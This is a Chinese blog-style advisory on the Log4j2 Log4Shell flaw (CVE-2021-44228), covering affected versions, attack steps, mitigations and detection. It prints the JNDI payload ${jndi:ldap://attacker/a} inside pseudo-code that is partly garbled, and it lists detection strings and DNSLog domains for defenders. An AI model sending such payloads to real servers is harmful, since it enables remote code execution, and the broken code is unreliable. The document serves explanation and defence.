ApacheLog4j2(CVE-2021-44228)⾼危安全漏洞介绍
⽬录
Apache Log4j 2 是⼀款优秀的 Java ⽇志框架。该⼯具重写了 Log4j 框架,并且引⼊了⼤量丰富的特性。该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息。
此次漏洞是⽤于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过⼀些协议去读取相应环境中的配置。该漏洞⼀旦被攻击者利⽤会造成严重危害。经过快速分析和确认,该漏洞影响范围极其⼴泛,危害极其严重,我们建议企业第⼀时间启动应急响应进⾏修复。该漏洞影响范围极⼴,建议相关⽤户尽快采取措施进⾏排查与防护。
⼀、漏洞描述
Apache Log4j2是⼀款优秀的Java⽇志框架。由于Apache Log4j2某些功能存在递归解析功能,未经⾝份验证的攻击者通过发送特别构造的数据请求包,可在⽬标服务器上执⾏任意代码,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。漏洞利⽤⽆需特殊配置,经团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
⼆、受影响版本
Apache Log4j 2.x <= 2.15.0-rc2
三、已知受影响应⽤及组件
Apache Solr,Apache Flink,Apache Druid,srping-boot-strater-log4j2,dubbo,flume,Redis
四、漏洞级别
⾼危、远程代码执⾏
通过JNDI,⿊客可以恶意构造特殊数据请求包,触发此漏洞,从⽽成功利⽤此漏洞可以在⽬标服务器上执⾏任意代码。
注意,此漏洞是可以执⾏任意代码,这就很恐怖,相当于⿊客已经攻⼊计算机,可以为所欲为了,就像已经进⼊你家,想⼲什么,就⼲什么,⽐如运⾏什么程序,植⼊什么病毒,变成他的⾁鸡。
五、攻击原理
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger(Name());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
/
/ This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.Bytes());
os.close();
}
}
根据上⾯提供的,攻击者可以通过JNDI来执⾏LDAP协议来注⼊⼀些⾮法的可执⾏代码。
六、攻击步骤
攻击者向发起攻击请求。
服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker/a},attacker是攻击者控制的地址。
记录的恶意被触发,服务器通过JNDI向attacker请求。
cve漏洞库attacker就可以在响应中添加⼀些恶意的可执⾏脚本,注⼊到服务器进程中,例如可执⾏的字节码second-
stage.attacker/Exploit.class。
攻击者执⾏。
⼀图胜千⾔:
七、修复建议
1、紧急缓解措施:
①修改jvm参数-
Dlog4j2.formatMsgNoLookups=true
②修改配置
log4j2.formatMsgNoLookups=True
③将系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
2、检测⽅案:
①由于攻击者在攻击过程中可能使⽤ DNSLog 进⾏漏洞探测,建议企业可以通过流量监测设备监控是否有相关 DNSLog 域名的请求。
②我们建议企业可以通过监测相关流量或者⽇志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击⾏为。
3、修复⽅案:
检查所有使⽤了 Log4j 组件的系统,官⽅修复链接如下:
4、应对措施:
限制受影响应⽤对外访问互联⽹,并在边界对dnslog相关域名访问进⾏检测。
部分公共dnslog平台如下:
ceye.io,dnslog.link,dnslog,dnslog.io,,awvsscan119.autoverify,burpcollaborator,s0x
(由于电脑没有⼀些软件,后续本⼈也会进⾏此漏洞的复现。)
参考⽂档:
参考视频(7分59秒的视频更为直观):
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论